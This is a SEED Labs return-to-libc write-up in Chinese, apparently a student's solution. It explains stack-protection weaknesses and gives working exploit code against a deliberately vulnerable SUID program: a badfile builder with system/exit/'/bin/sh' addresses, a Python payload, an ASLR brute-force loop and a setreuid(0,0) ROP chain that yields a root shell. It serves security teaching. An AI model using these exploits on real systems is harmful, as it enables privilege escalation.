1. 程式人生 > 其它 >Return-to-libc Attack Lec&Lab solution Seed

Return-to-libc Attack Lec&Lab solution Seed

Return-to-libc Attack

學習目標是獲得關於緩衝區攻擊的有趣變種的第一手體驗;此攻擊可以繞過當前在主要Linux作業系統中實現的現有保護方案。利用緩衝區過度漏洞的常見方法是使用惡意shellcode將緩衝區過度流動,然後導致易受攻擊的程式跳轉到儲存在堆疊中的shellcode。為防止這些型別的攻擊,一些作業系統允許系統管理員使堆疊不可執行;因此,跳轉到shellcode會導致程式失敗。

然而,上述保護方案不是傻瓜;存在一個被稱為返回libc攻擊的緩衝區過度攻擊的變體,這不需要可執行堆疊;它甚至沒有使用shell程式碼。相反,它導致易受偵聽的程式跳轉到一些現有的程式碼,例如libc庫中的system()

函式,這些程式碼已被載入到儲存器中。

本文作者:對酒當歌、zmzzmqa

程式碼倉庫:https://github.com/SKPrimin/HomeWork/tree/main/SEEDLabs/Return_to_libc

Pre

1、網上搜索並且閱讀Four different tricks to bypass StackShield and StackGuard protection這篇文章,描述這些現有保護機制的弱點。

  • 標準的 C 語言程式碼能使攻擊者執行許多不同種類的攻擊,包括: 標 準的基於棧的緩衝區溢位,使得返回地址被修改; 幀指標重寫,使得 幀指標被修改; 區域性變數或者函式引數被修改以改變程式的內部狀態。

  • StackGuard 的保護機制只保護返回地址,不保護中間的變數和棧指標。有三個缺陷: 位於緩衝區後的區域性變數並沒 有被保護; 老的幀指標和函式引數會受到攻擊者的控制; StackGuard 的檢查只會在函式返回後檢測到攻擊,給攻擊者一個程式碼視窗。

  • StackShield: 只能阻止了基於標準堆疊的緩衝區溢位攻擊,如果我們設法改變備份的返回地址的內容,保護就無效了

  • Microsoft’s /GS protection 如果金絲雀的隨機性良好,這將有效地阻止攻擊。另一方面,如果可以預測金絲雀,不僅可以實現攻擊,而且 還可以使用標準的返回地址覆蓋攻擊。

  • 在標準編譯的 C 程式碼中,當不使用-fomit-frame-pointer 時,相對於幀指標訪問區域性變數,如果我們控制它,我們可以控制呼叫者的區域性變數和引數。

2、閱讀下面這篇文章:
Bypassing non-executable-stack during exploitation using return-to-libc.
http://www.infosecwriters.com/text_resources/pdf/return-to-libc.pdf

讓棧變得不可執行看起來能有效抵禦緩衝區溢位攻擊,因為它消 除了攻擊的一個重要條件。然而這個條件不是必需的。成功的緩衝區 溢位攻擊需要執行惡意程式碼,但這些程式碼不一定非要在棧中,攻擊者 可以藉助記憶體中已有的程式碼進行攻擊,比如 libc 庫中的 system() 函式等。

3、閱讀這個連結的第3章,解釋怎樣構造 return2libc 的訪問鏈 http://www.phrack.org/issues.html?issue=58&id=4

有兩個方法可以構造訪問鏈:

  1. "esp lifting" method :

    假設 f1 和 f2 是庫中兩個函式的返回地址,漏洞函式返回到f1 ,而f1 返回到後記: addl $LOCAL_VARS_SIZE,%esp ret。前一條指令會讓 棧指標指向 f2 返回地址儲存的位置。而後一條指令會返回到f2。

  2. frame faking

    fake_ebp0 是第一幀的地址,fake_ebp1 是第二幀的地址,以此類推。

    首先: 漏洞函式的後記(即: leave;ret)把 fake_ebp0 放入%ebp 並 返回到 leaveret。

    其次: 接下來的兩條指令(leave;ret)把 fake_ebp1 放入%ebp 並返回 到f1 ,f1 看做是合適的引數。

    f1 執行,然後返回。重複前兩步,並把 f1 用 f2 ,f3...fn 代替。

4、閱讀這個連結 https://bbs.pediy.com/thread-224643.htm

文章主要講了如何繞過 canary。題目的難點在於 canary。一般的 思路是先 leak 出 canary 的 cookie,然後在 payload 裡,把原來的 canary 位置的 cookie 用我們 leak 出的正確的 cookie 寫入,之後就是正常的 rop 。不過這題,有個 fork ,對 fork 而言,作用相當於自我複製,每 一次複製出來的程式,記憶體佈局都是一樣的,當然 canary 值也一樣。

那我們就可以逐位爆破,如果程式掛了就說明這一位不對,如果程 序正常就可以接著跑下一位,直到跑出正確的 canary 。這是個 32 位 的程式,所以 canary 有 4 個位元組,最低位一定是\x00,所以只需要爆 破三個位元組即可。構造爆破 payload 格式為: padding+canary+chr(i)

5、認真觀看,P4 Return-to-libc Attack Lecture
https://www.bilibili.com/video/BV1v4411S7mv
大概說下視訊的內容。

為了抵禦緩衝區溢位,作業系統採用了一種成為“不可執行棧” 的防禦措施,它將程式的棧標記位不可執行,這樣即使攻擊者能夠注 入惡意程式碼到棧中,程式碼也無法被執行。然而,這種防禦措施能被另 一種無須在棧中執行程式碼的攻擊方法繞過 。這種方法就叫做return-to-libc 攻擊。

攻擊者藉助記憶體中已有的程式碼進行攻擊。Linux 會將 libc 庫載入 到記憶體中,其中的 system()函式就可以被攻擊者利用。這個函式接收 一個字串作為引數,將此字串作為一個命令來執行。有了這個函 數,如果想要在緩衝區溢位後執行一個 shell,無須自己編寫 shellcode, 只需要跳轉到 system()函式,讓它來執行指定的”/bin/sh”程式即可。

Lab

指南:瞭解函式呼叫機制

1找出libc函式的地址

要使用任何libc函式的地址,您可以使用以下GDB命令(a.out是任意程式):

$  gdb  a.out

(gdb)  b  main
(gdb)  r
(gdb)  p  system
$1  =  {<text  variable,  no  debug  info>}  0x9b4550  <system>
(gdb)  p  exit
$2  =  {<text  variable,  no  debug  info>}  0x9a9b70  <exit>

從上面的GDB命令中,我們可以確定system()函式的地址為0x9b4550,並且exit()函式的地址為0x9a9b70。 系統中的實際地址可能與這些數字不同。

2將shell字串放在記憶體中

該實驗室中的一個挑戰是將字串“/ bin / sh”放入記憶體中,並獲得其地址。 這可以使用環境變數來實現。 執行C程式時,它會從執行它的shell中繼承所有環境變數。 環境變數shell直接到/ bin / bash,是由其他程式需要的,因此我們介紹一個新的shell變數myshell並使其指向zsh

$  export  MYSHELL=/bin/sh

我們將使用此變數的地址作為system() 呼叫的引數。 可以使用以下程式輕鬆找到儲存器中此變數的位置:

void  main(){
  char* shell = getenv("MYSHELL");
  if(shell)
  	printf("%x\n", (unsigned int)shell);
}

如果關閉地址隨機化,則將您將打印出相同的地址。 但是,當您執行漏洞程式retlib時,環境變數的地址可能與執行上述程式的內容完全相同;在更改程式的名稱時,這種地址甚至可以更改(檔名稱中的字元數為差異)。 好訊息是,shell 的地址將非常接近使用上述程式打印出的內容。 因此,您可能需要嘗試幾次成功。

3瞭解堆疊

要知道如何進行返回libc攻擊,必須瞭解堆疊的工作原理。 我們用一個小的C程式來了解堆疊上函式呼叫的影響。

/*foobar.c */
#include <stdio.h>
void foo(int x)
{
    printf("Hello  world:  %d\n", x);
}

int main()
{
    foo(1);
    return 0;
}

我們可以使用"gcc -S foobar.c"將此程式編譯為彙編程式碼。 生成的檔案 foobar.s 將如下所示:

......
8  foo:
9                    pushl       %ebp
10                    movl         %esp,  %ebp
11                    subl         $8,  %esp
12                    movl         8(%ebp),  %eax
13                    movl         %eax,  4(%esp)
14                    movl         $.LC0,   (%esp)     :  string  "Hello  world:  %d\n"
15                    call         printf
16                    leave
17                    ret ......
21  main:
22                    leal         4(%esp),  %ecx
23                    andl         $-16,  %esp
24                    pushl       -4(%ecx)
25                    pushl       %ebp
26                    movl         %esp,  %ebp
27                    pushl       %ecx
28                    subl         $4,  %esp
29                    movl         $1,   (%esp)
30                    call         foo
31                    movl         $0,  %eax
32                    addl         $4,  %esp
33                    popl         %ecx
34                    popl         %ebp
35                    leal         -4(%ecx),  %esp
36                    ret

呼叫和輸入foo()

在呼叫foo()時,讓我們把注意力集中在堆疊上。我們可以忽略之前的堆疊。請注意,本解釋中使用的是行號而不是指令地址。

  • 第28-29行:這兩個語句將值l,即foo()的引數,推入堆疊。此操作將%esp加4。這兩個語句之後的堆疊如圖1(a)所示。

  • 第30行:call foo:該語句將緊跟在呼叫語句後面的下一條指令的地址推送到堆疊中(即返回地址),然後跳轉到foo()的程式碼。當前堆疊如圖1(b)所示。

  • 第9-10行:函式foo()的第一行將%ebp壓入堆疊,以儲存之前的幀指標。第二行讓%ebp指向當前幀。中描述了當前堆疊圖1 (c)。

  • 第11行:subl $8, %esp:堆疊指標被修改為分配空間(8位元組)給區域性變數和傳遞給printf的兩個引數。因為foo函式中沒有區域性變數,所以這8個位元組只用於引數。見圖1 (d)。

離開foo ()

現在控制元件已經傳遞給函式foo()。讓我們看看當函式返回時堆疊發生了什麼。

  • 第16行:leave:這條指令隱式地執行兩條指令(在早期x86版本中它是一個巨集,但後來被變成了一條指令):
mov    %ebp,  %esp
pop    %ebp

第一個語句釋放為函式分配的堆疊空間;第二個語句恢復前一個幀指標。當前堆疊如圖1(e)所示。

  • 第17行:ret:這條指令只是將返回地址從堆疊中彈出,然後跳轉到返回地址。當前堆疊如圖1(f)所示。

  • 第32行:addl $4, %esp:通過釋放更多為foo分配的記憶體來進一步恢復堆疊。可以清楚地看到,堆疊現在的狀態與進入函式foo之前的狀態完全相同(即第28行之前)。

實驗室任務

初始設定

您可以使用預構建的Ubuntu虛擬機器執行實驗室任務。 Ubuntu和其他Linux發行版已經實施了幾種安全機制,以使緩衝過度攻擊困難。 為了簡單的攻擊,我們需要禁用它們。

地址空間隨機化。 Ubuntu和其他幾個基於Linux的系統使用地址空間進行了統籌,以隨機化堆和堆疊的起始地址。 這使得猜測確切的解決困難; 猜測地址是緩衝區攻擊的關鍵步驟之一。 在此實驗室中,我們使用以下命令禁用這些功能:

$ su root
Password:   (enter  root  password)
# sysctl -w kernel.randomize_va_space=0

堆疊防護方案。 GCC編譯器實現了一種稱為“堆疊保護”的安全機制,以防止緩衝區過度。 在存在這種保護的情況下,緩衝在流量上不起作用。 如果使用-fno-stack-protector switch編譯程式,則可以禁用此保護。 例如,要使用堆疊防護禁用編譯程式示例,您可以使用以下命令:

$  gcc  -fno-stack-protector  example.c

不可執行的堆疊。 Ubuntu用於允許可執行的堆疊,但現在已更改:程式(和共享庫)的二進位制影象必須宣告它們是否需要可執行堆疊,即,它們需要在程式標題中標記FI eld。 核心或動態連結器使用此標記來決定是否使該執行程式的堆疊可執行或不可執行。 此標記由最近的GCC版本自動完成,預設情況下,堆疊設定為不可執行。 要更改此,請在編譯程式時使用以下命令:

For  executable  stack:
$  gcc -z execstack -o test test.c

For  non-executable  stack:
$  gcc -z noexecstack -o test test.c

由於此實驗室的目的是表明不可執行的堆疊保護不起作用,因此您應該始終使用此實驗室中的“-z noexecstack”選項編譯程式。

retlib.c檔案

/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bof(FILE *badfile)
{
    char buffer[12];

    /* The following statement has a buffer overflow problem */
    fread(buffer, sizeof(char), 40, badfile);

    return 1;
}

int main(int argc, char **argv)
{
    FILE *badfile;

    badfile = fopen("badfile", "r");
    bof(badfile);

    printf("Returned Properly\n");

    fclose(badfile);
    return 1;
}

關閉 ASLR,開啟棧不可執行關閉棧保護,編譯 retlib.c程式並賦予 SUID 許可權

su root
sysctl -w kernel.randomize_va_space=0
gcc retlib.c -o retlib -fno-stack-protector
chown root retlib
chmod 4755 retlib

任務1:利用漏洞

建立badfile。您可以使用下面的框架來建立一個。

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
  char buf[40];
  FILE *badfile;

  badfile = fopen("./badfile", "w");

  /* You need to decide the addresses and 
     the values for X, Y, Z. The order of the following 
     three statements does not imply the order of X, Y, Z.
     Actually, we intentionally scrambled the order. */
  *(long *)&buf[X] = some address; //  "/bin/sh"
  *(long *)&buf[Y] = some address; //  system()
  *(long *)&buf[Z] = some address; //  exit()

  fwrite(buf, sizeof(buf), 1, badfile);
  fclose(badfile);
}

您需要找出這些地址的值,並找出儲存這些地址的位置。如果錯誤地計算了位置,則攻擊可能無法正常工作。
完成上述程式後,編譯並執行它;這將生成"badefile"的內容。執行易受攻擊的程式 retlib。如果您的漏洞被正確實現,當函式 bof 返回時,它將返回到 system() libc 函式,並執行 system("/bin/sh")。如果易受攻擊的程式以 root 許可權執行,則此時您可以獲取root shell

原理為,通過溢位修改返回地址使程式跳轉到動態連結庫中執行,動態連結庫裡有可以利用的函式例如system。只要讓system函式執行引數/bin/sh就能獲得shell。實現這個目標需要達成這三件事情。

  1. 找到system函式地址
  2. 找到字串“/bin/sh”地址。
  3. system函式引數應該放在棧的什麼位置。

system函式地址可以通過gdb除錯得到。字串地址,可以放在緩衝區中,然後獲得它的地址。或者放在環境變數,因為目標程式清理了環境變數,所以第二種不行。因為目標函式中有‘/bin/sh’字串定義在bof函式中,可以通過查詢該字串地址得到。

1. system&exit函式地址

gdb除錯,直接r執行程序,使用p func命令得到system地址,同理可得到exit地址

gdb retlib
b  main
r
p system
p exit

system地址為0xb7e5f430,exit地址為 : 0xb7e52fb0

2.字串“/bin/sh”地址。

將字串壓入棧中

export ATT="/bin/sh"

使用同一目錄下名稱長度相同的程式env666檢視環境變數位置。

#include <stdio.h>
int main(void)
{
  printf("%x",getenv("ATT"));
}

編譯該程式,要注意的是編譯得到的二進位制程式碼的檔名長度要和目標程式 retlib 一樣長,否則在執行兩個程式時,環境變數的地址將不同,就無法得到想要的結果。

gcc env666.c -o env666
./env666

得到地址為bfffffd0

如果長度不相同,可見得到的地址是不同的,顯示是無法得到root shell

3.system函式引數應該放在棧的什麼位置。

先建立badfile 並向其中寫入“aaaa”標記 buf 前四個位元組。

先在badfile中填滿字元U,U的ascii碼為55。

touch badfile

echo "aaaa" >badfile
或
echo $(python -c print"'a'*4") > badfile

gdb 除錯 retlib,反彙編 main 函式

gdb retlib

disas main

可找到 bof 的返回地址為 0x080484e2。再對 bof 函式反彙編。

可找到 bof 函式的結束地址為 0x080484b1

在此處設定斷點,執行到斷點處,用 x 命令檢視記憶體內容。

b*0x080484b1
r
x/50xw $esp

可算出 bof 函式返回地址距離 buf 首地址 \(4\times6=24\) 位元組。因此我們要在 buf[24]處寫入system()函式的地址,在 buf[28]處寫入 exit()函式的地址,在 buf[32]處寫入 system()函式的引數“/bin/sh”的地址。

Badfile

經過以上分析,我們可以得到以下 exploit.c 程式:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
  char buf[40];
  FILE *badfile;

  badfile = fopen("./badfile", "w");

  /* You need to decide the addresses and 
     the values for X, Y, Z. The order of the following 
     three statements does not imply the order of X, Y, Z.
     Actually, we intentionally scrambled the order. */
  *(long *)&buf[24] = 0xb7e5f430; //  system()
  *(long *)&buf[28] = 0xb7e52fb0; //  exit()
  *(long *)&buf[32] = 0xbfffffd0; //  "/bin/sh"

  fwrite(buf, sizeof(buf), 1, badfile);
  fclose(badfile);
}

應該指出的是,exit()函式對於此攻擊不是很必要; 但是,如果沒有此功能,當system()返回時,程式可能會崩潰,導致懷疑。

$  gcc -o exploit exploit.c
$./exploit
$./retlib
//  create  the  badfile
//  launch  the  attack  by  running  the  vulnerable  program
#  <----  You’ve  got  a  root  shell!

如果你有豐富的python或其他指令碼語言經驗,也可以不使用給的模板,直接送進字串

echo $(python -c "print 'U'*24 +'\x30\xf4\xe5\xb7'+'\xb0\x2f\xe5\xb7'+'\xd0\xff\xff\xbf'")>badfile
./retlib

攻擊成功後,將retlib 的檔名更改為不同的名稱,確保FILE名稱的長度不同。 例如,您可以將其更改為newretlib。 重複攻擊(不改變Badfile的內容)。 你的攻擊是否成功了?

gcc retlib.c -o newretlib -fno-stack-protector
chown root newretlib
chmod 4755 newretlib
./newretlib

發現攻擊失敗。這是因為環境變數的地址和程式名的長度有關,當把retlib 改成 newretlib 時,由於檔名長度的改變從 env666 獲得的環境變數的地址不在是“/bin/sh”字串的地址。此時所有環境變數的記憶體地址移動了 6 個位元組,因此該地址現在指向“h”開始的地方。 所以會顯示 h 未找到。

任務2:地址隨機化

在這項任務中,讓我們開啟Ubuntu的地址隨機化保護。 我們運行了任務中開發的相同攻擊1.你能得到一個殼嗎? 如果沒有,問題是什麼? 地址隨機化如何使您的返回libc攻擊困難?您可以使用以下說明開啟地址隨機化:

$  su  root
Password:   (enter  root  password)
#  /sbin/sysctl  -w  kernel.randomize_va_space=2

通過gdb檢視幾次執行各地址變化

system地址 字元sh地址 差值
0xb75c9430 0xbfdd5fd0 880 CBA0
0xb75cc430 0xbf97efd0 83B 2BA0
0xb763c430 0xbfc93fd0 865 7BA0

可以看出system地址中間兩個十六進位制數在隨機,而字元地址是中間三個隨機,所以兩者差值也在隨機,概率極低。

嘗試使用指令碼強攻

sh -c "while [ 1 ]; do ./retlib; done;"

執行了一段時間後還沒有攻擊成功,這是因為開了地址隨機化後要猜中地址是很困難的。但理論上還是能機會成功的

任務3:堆疊保護保護

在這項任務中,讓我們開啟Ubuntu的堆疊保護保護。 請記得關閉地址隨機化保護。 我們運行了任務中開發的相同攻擊1。你能得到一個shell嗎? 如果沒有,問題是什麼? 堆疊保護保護如何使您的返回Libc攻擊困難? 您可以使用以下說明使用堆疊防護防護進行編譯程式。

$  su  root
Password   (enter  root  password)
#  gcc  -z  noexecstack    -o  retlib  retlib.c
#  chmod  4755  retlib
#  exit

開啟棧保護

sudo gcc -z noexecstack -o retlib retlib.c
sudo chown root retlib
sudo chmod 4755 retlib

無法更改返回地址和棧幀

補充任務–學號DLC

使用return-to-lib呼叫鏈。

  • system(“echo A66666666”);
  • setreuid(0,0);
  • system(“/bin/sh”);
  • exit(0)

重編譯

修改retlib.c12行,將40改為400或其它適量大小,否則記憶體不足。

首先關閉地址隨機化,重新編譯

sudo sysctl -w kernel.randomize_va_space=0
sudo gcc retlib.c -o retlib -fno-stack-protector
sudo chown root retlib
sudo chmod 4755 retlib

匯入變數

將字串放入環境變數。

export MYID="echo A66666666"
export MYSHELL="/bin/sh"

按照之前方法找出程式執行時字串位置。

system函式位置和exit函式位置已知,使用同樣方法獲得setreuid函式位置。

找出變數地址

gdb 除錯 retlib,檢視函式的地址

gdb retlib
b  main
r
p system
p setreuid
p exit
gcc envaddr.c -o env662                               
./env662

至此五函式地址已找到:

  • system 0xb7e5f430
  • setreuid 0xb7f07870
  • exit 0xb7e52fb0
  • echo A66666666 bfffffc9
  • /bin/sh bfffffbc

構建badfile

使用命令反彙編,肉眼尋找 pop-ret 或 pop-pop-ret

objdump -d retlib 

或者使用管道符快速找到可利用片段。

objdump -d retlib|grep -B 3 ret

我們使用80485b7-80485b8-80485b9作為載體

由 task1 我們知道,bof 函式的返回地址在 buf[24],於是開始修改:

  • buf[24]改成 system()函式的地址:0xb7e5f430
  • buf[28]改成 pop-ret 的地址:0x80485b8(因為 system()只有一個引數,所以只需要一個 pop 將棧指標抬一次)
  • buf[32]改成存放 system()的引數“echo A66666666”的環境變數的地址:bfffffc9
  • buf[36]改成 setreuid()的地址:0xb7f07870
  • buf[40]改成 pop-pop-ret 的地址:0x80485b7(因為 setreuid()有兩個引數,所以需要兩個 pop 將棧指標抬兩次)
  • buf[44]和 buf[48]都改成 setreuid()的引數 0 的地址:0x00000000
  • buf[52]改成 system()函式的地址:0xb7e5f430
  • buf[56]改成 pop-ret 的地址:0x80485b8
  • buf[60]改成存放 system()的引數“/bin/sh”的環境變數的地址: bfffffbc
  • buf[64]改成 exit()函式的地址:0xb7e52fb0

如果你看到的是這個介面,那麼很明顯是空間不夠用,retlib.c第12行改為 fread(buffer, sizeof(char), 400, badfile);或者其它適量大小

使用exploit2.c寫入badfile

gcc exploit2.c -o exploit2
./exploit2
./retlib

攻擊成功!